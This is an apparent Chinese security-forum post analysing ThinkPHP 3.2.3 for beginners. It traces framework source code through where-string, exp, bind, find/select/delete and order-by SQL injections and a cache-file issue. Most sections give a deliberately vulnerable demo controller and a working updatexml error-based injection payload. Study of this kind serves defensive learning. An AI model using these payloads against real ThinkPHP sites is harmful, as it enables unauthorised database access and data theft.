首页
社区
课程
招聘
[分享]萌新也能看懂的ThinkPHP3.2.3漏洞分析
发表于: 2020-3-16 15:54 4307

[分享]萌新也能看懂的ThinkPHP3.2.3漏洞分析

2020-3-16 15:54
4307

ThinkPHP是一个快速、兼容而且简单的轻量级国产PHP开发框架,可以支持Windows/Unix/Linux等服务器环境,正式版需要PHP5.0以上版本支持,支持MySql、PgSQL、Sqlite多种数据库以及PDO扩展。


网上关于ThinkPHP的漏洞分析文章有很多,本文是作者在学习ThinkPHP3.2.3漏洞分析过程中的一次完整的记录,非常适合初学者!



where注入 


在控制器中,写个demo,利用字符串方式作为where传参时存在注入。

public function  getuser(){
    $user = M('User')->where('id='.I('id'))->find();
    dump($user);
}


在变量user地方进行断点,PHPSTROM F7进入,I方法获取传入的参数。

switch(strtolower($method)) {
        case 'get'     :   
                $input =& $_GET;
                break;
        case 'post'    :   
                $input =& $_POST;
                break;
        case 'put'     :   
                if(is_null($_PUT)){
                    parse_str(file_get_contents('php://input'), $_PUT);
                }
                $input         =        $_PUT;        
                break;
        case 'param'   :
            switch($_SERVER['REQUEST_METHOD']) {
                case 'POST':
                    $input  =  $_POST;
                    break;
                case 'PUT':
                        if(is_null($_PUT)){
                            parse_str(file_get_contents('php://input'), $_PUT);
                        }
                        $input         =        $_PUT;
                    break;
                default:
                    $input  =  $_GET;
            }
            break;
......


重点看过滤函数



先利用htmlspecialchars函数过滤参数,在第402行,利用think_filter函数过滤常规sql函数。


function think_filter(&$value){
        // TODO 其他安全过滤

        // 过滤查询特殊字符
    if(preg_match('/^(EXP|NEQ|GT|EGT|LT|ELT|OR|XOR|LIKE|NOTLIKE|NOT BETWEEN|NOTBETWEEN|BETWEEN|NOTIN|NOT IN|IN)$/i',$value)){
        $value .= ' ';
    }
}


在where方法中,将$where的值放入到options["where"]数组中。



继续跟进查看find方法,第748行。


$options     =   $this->_parseOptions($options);


在数组$options中增加

'table'=>'tp_user','model'=>'User',随后F7跟进select方法。


public function select($options=array()) {
        $this->model  =   $options['model'];
        $this->parseBind(!empty($options['bind'])?$options['bind']:array());
        $sql    = $this->buildSelectSql($options);
        $result   = $this->query($sql,!empty($options['fetch_sql']) ? true : false);
        return $result;
}


跟进buildSelectSql方法,继续在跟进parseSql方法,这里可以看到生成完整的sql语句。



这里主要查看parseWhere方法



跟进parseThinkWhere方法


protected function parseThinkWhere($key,$val) {
        $whereStr   = '';
        switch($key) {
            case '_string':
                // 字符串模式查询条件
                $whereStr = $val;
                break;
            case '_complex':
                // 复合查询条件
                $whereStr = substr($this->parseWhere($val),6);
                break;


$key为_string,所以$whereStr为传入的参数的值,最后parserWhere方法返回(id=1p),所以最终payload为:


1) and 1=updatexml(1,concat(0x7e,(user()),0x7e),1)--+


 exp注入 


漏洞demo,这里使用全局数组进行传参(不要用I方法),漏洞才能生效。


public function  getuser(){
        $User = D('User');
        $map = array('id' => $_GET['id']);
        $user = $User->where($map)->find();
        dump($user);
}


直接在$user进行断点,F7跟进,跳过where方法,跟进find->select->buildSelectSql->parseSql->parseWhere



跟进parseWhereItem方法,此时参数$val为一个数组,{‘exp’,‘sql注入exp’}



此时当$exp满足exp时,将参数和值就行拼接,所以最终paylaod为:


id[0]=exp&id[1]==1 and 1=(updatexml(1,concat(0x7e,(user()),0x7e),1))--+


上面至于为什么不能用I方法,原因是在过滤函数think_filter中能匹配到exp字符,所以在exp字符后面加了一个空格,导致在parseWhereItem方法中无法等于exp。


if(preg_match('/^(EXP|NEQ|GT|EGT|LT|ELT|OR|XOR|LIKE|NOTLIKE|NOT BETWEEN|NOTBETWEEN|BETWEEN|NOTIN|NOT IN|IN)$/i',$value))


 bind注入 


漏洞demo


public function  getuser(){
        $data['id'] = I('id');
        $uname['username'] = I('username');
        $user = M('User')->where($data)->save($uname);
        dump($user);
}


F8跟进save方法



生成sql语句在update方法中:


public function update($data,$options) {
        $this->model  =   $options['model'];
        $this->parseBind(!empty($options['bind'])?$options['bind']:array());
        $table  =   $this->parseTable($options['table']);
        $sql   = 'UPDATE ' . $table . $this->parseSet($data);
        if(strpos($table,',')){// 多表更新支持JOIN操作
            $sql .= $this->parseJoin(!empty($options['join'])?$options['join']:'');
        }
        $sql .= $this->parseWhere(!empty($options['where'])?$options['where']:'');
        if(!strpos($table,',')){
            //  单表更新支持order和lmit
            $sql   .=  $this->parseOrder(!empty($options['order'])?$options['order']:'')
                .$this->parseLimit(!empty($options['limit'])?$options['limit']:'');
        }
        $sql .=   $this->parseComment(!empty($options['comment'])?$options['comment']:'');
        return $this->execute($sql,!empty($options['fetch_sql']) ? true : false);
    }


在parseSet方法中,可以将传入的参数替换成:0。



在bindParam方法中,$this->bind属性返回array(':0'=>参数值)。


protected function bindParam($name,$value){
        $this->bind[':'.$name]  =   $value;
}


继续跟进parseWhere->parseWhereItem方法,当exp为bind时,就会在参数值前面加个冒号(:)。



由于在sql语句中有冒号,继续跟进excute方法,这里将:0替换成了第二个参数的值。



所以最终的payload为:


id[0]=bind&id[1]=0 and 1=(updatexml(1,concat(0x7e,(user()),0x7e),1))&username=fanxing


find/select/delete注入


先分析find注入,在控制器中写个漏洞demo。


public function getuser(){
    $user = M('User')->find(I('id'));
    dump($user);
}


当传入id[where]=1p时候,在user进行断点,F7跟进find->_parseOptions方法:



$options['where']为字符串,导致不能执行_parseType方法转化数据,进行跟进select->buildSelectSql->parseSql->parseWhere方法,传入的$where为字符串,直接执行了if语句。


protected function parseWhere($where) {
        $whereStr = '';
        if(is_string($where)) {
            // 直接使用字符串条件
            $whereStr = $where;
            ......
        }
        return empty($whereStr)?'':' WHERE '.$whereStr;


当传入id=1p,就不能进行注入了,具体原因在find->_parseOptions->_parseType方法,将传入的参数进行了强转化为整形。



所以,payload为:


?id[where]=1 and 1=updatexml(1,concat(0x7e,(user()),0x7e),1)


select和delete原理同find方法一样,只是delete方法多增加了一个判断是否为空。


if(empty($options['where'])){
            // 如果条件为空 不进行删除操作 除非设置 1=1
            return false;
        }        
        if(is_array($options['where']) && isset($options['where'][$pk])){
            $pkValue            =  $options['where'][$pk];
        }

        if(false === $this->_before_delete($options)) {
            return false;
        }   


 order by注入 


先在控制器中写个漏洞demo


public function user(){
    $data['username'] = array('eq','admin');
    $user = M('User')->where($data)->order(I('order'))->find();
    dump($user);
}


在user变量处断点,F7跟进,find->select->buildSelectSql->parseSql方法。


$this->parseOrder(!empty($options['order'])?$options['order']:''),


当$options['order']参数参在时,跟进parseOrder方法。



当不为数组时,直接返回order by + 注入pyload,所以注入payload为:


order=id and(updatexml(1,concat(0x7e,(select user())),0))


  缓存漏洞  


在ThinkPHP3.2中,缓存函数有F方法和S方法,两个方法有什么区别呢,官方介绍如下:


F方法:相当于PHP自带的file_put_content和file_get_content函数,没有太多存在时间的概念,是文件存储数据的方式。常用于文件配置。


S方法:文件缓存,有生命时长,时间到期后缓存内容会得到更新。常用于单页面data缓存。


这里F方法就不介绍了,直接看S方法。


public function test(){
    S('name',I('test'));
}


跟进查看S方法



set方法写入缓存



跟进filename方法,此方法获取写入文件的路径,保存在../Application/Runtime/Temp目录下


private function filename($name) {
        $name        =        md5(C('DATA_CACHE_KEY').$name);
        if(C('DATA_CACHE_SUBDIR')) {
            // 使用子目录
            $dir   ='';
            for($i=0;$i<C('DATA_PATH_LEVEL');$i++) {
                $dir        .=        $name{$i}.'/';
            }
            if(!is_dir($this->options['temp'].$dir)) {
                mkdir($this->options['temp'].$dir,0755,true);
            }
            $filename        =        $dir.$this->options['prefix'].$name.'.php';
        }else{
            $filename        =        $this->options['prefix'].$name.'.php';
        }
        return $this->options['temp'].$filename;
    }


并将S传入的name进行md5值作为文件名,最终通过file_put_contents函数写入文件。


以上是今天分享的内容,大家看懂了吗?记得要实际动手练习一下,才能加深印象哦~

[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)

收藏
免费 0
支持
分享
最新回复 (7)
雪    币: 83
活跃值: (1087)
能力值: ( LV8,RANK:130 )
在线值:
发帖
回帖
粉丝
2
感谢
2020-3-17 04:20
0
雪    币: 635
活跃值: (1016)
能力值: ( LV6,RANK:80 )
在线值:
发帖
回帖
粉丝
3
这漏洞编号是什么
2020-3-17 15:51
0
雪    币: 20
能力值: ( LV1,RANK:0 )
在线值:
发帖
回帖
粉丝
4
学习学习
2020-3-22 21:08
0
雪    币: 220
能力值: ( LV1,RANK:0 )
在线值:
发帖
回帖
粉丝
5
怎么升级呢
2020-3-23 13:41
0
雪    币: 20
活跃值: (11)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
6
学习学习
2020-3-25 13:39
0
雪    币: 411
能力值: ( LV1,RANK:0 )
在线值:
发帖
回帖
粉丝
7
这是转载帖,有问题的表哥可以留言问一下原作者,https://bbs.ichunqiu.com/thread-56035-1-1.html
2020-3-27 13:56
0
雪    币: 20
能力值: ( LV1,RANK:0 )
在线值:
发帖
回帖
粉丝
8

 filename并没有md5运算呀?


2021-7-3 16:12
0
游客
登录 | 注册 方可回帖
返回
//